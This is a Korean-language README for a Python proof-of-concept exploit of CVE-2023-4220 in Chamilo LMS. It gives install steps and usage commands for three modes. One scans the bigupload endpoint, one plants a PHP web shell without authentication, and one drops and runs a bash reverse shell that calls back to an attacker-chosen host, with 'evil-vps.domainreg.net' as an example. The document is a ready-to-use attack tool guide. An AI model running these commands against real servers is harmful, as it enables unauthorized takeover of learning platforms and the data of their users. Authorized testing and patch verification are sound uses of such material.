
이것은 CVE-2023-4220에 설명된 Chamilo LMS 소프트웨어 보안 결함을 악용할 수 있는 Python으로 작성된 스크립트입니다.
이 스크립트는 CVE-2023-4220에 설명된 Chamilo's LMS 소프트웨어 보안 결함을 악용할 수 있게 합니다. 해당 시스템은 1.11.24 이전 버전에서 취약합니다.
저장소를 로컬 머신에 클론하고 pip를 사용하여 의존성을 설치하세요 (이러한 설치를 전역 설치와 분리하기 위해 virtualenv를 사용하여 환경을 생성하는 것이 좋습니다)
git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc
cd chamilo-lms-unauthenticated-big-upload-rce-poc
pip install -r requirements.txt
스크립트는 Chamilo의 루트 경로가 포함된 대상 URL(예: http://example.com/chamilo, http://example.com 또는 **http://chamilo.example.com**)과 수행할 작업(세 가지 작업 사용 가능: scan, webshell, revshell)이 필요합니다.
이 작업은 /main/inc/lib/javascript/bigupload/files/ 엔드포인트에 접근하여 대상이 취약한지 확인합니다.
python3 main.py -u http://example.com/chamilo -a scan

이 작업은 취약한 엔드포인트에 PHP 웹쉘 파일을 생성합니다.
python3 main.py -u http://example.com/chamilo -a webshell

이 작업은 bash 리버스 쉘 파일을 생성하고 실행합니다. 이를 위해, 이전 작업과 동일한 방법을 사용하여 먼저 웹쉘을 생성합니다. 그 후, bash 파일을 생성하고 실행하기 위해 몇 가지 명령이 실행됩니다. 실제로 리버스 연결을 받으려면 nc 또는 다른 유틸리티로 정의한 포트에서 리스닝하고 있어야 합니다. 또한, 호스트는 유효한 내부/공용 IPv4(예: 172.17.1.4 또는 186.227.4.31) 또는 등록한 도메인(예: evil-vps.domainreg.net)일 수 있습니다.
python3 main.py -u http://example.com/chamilo -a revshell

참고: 곧 Windows 호스트를 위한 Windows 페이로드 옵션을 추가할 예정입니다.